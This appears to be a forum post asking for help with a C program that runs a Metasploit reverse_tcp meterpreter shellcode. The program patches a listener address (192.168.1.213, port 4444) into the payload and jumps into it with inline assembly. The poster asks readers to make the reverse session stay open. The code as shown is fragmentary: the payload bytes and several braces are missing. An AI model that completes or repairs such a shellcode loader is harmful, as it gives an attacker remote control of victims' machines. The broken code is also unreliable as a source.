I want to execute a metasploit reverse_tcp payload from my C code, but I don't know fully how to make it work properly. Here is the sample code I use to test it:

// reverse_tcp.cpp : Defines the entry point for the console application.

#include "stdafx.h"

unsigned char payload[] =

int main(int argc, char* argv[])
	char ip[] = { 192, 168, 1, 213 };
	char port[] = { 0x11, 0x5C };

	memcpy( payload + 142, ip, 4 );
	memcpy( payload + 148, port, 2 );

	_asm {
		lea eax, payload
			call eax

	printf( "started.\n" );

	return 0;
That code will raise an exception that it can't read address 0xffffffff. I tried using try-catch blocks and it made it not crash, but anyway Metasploit multi/handler gets stuck on "Upload completed" (I want to use meterpreter payload for uploading) and nothing happens after that. __try-__except blocks also didn't do the trick. The session will open when I exit the program, but it will close immediatelly afterwards.
Probably you know much better how to call the payload properly in C code to make it work properly.

Black Dot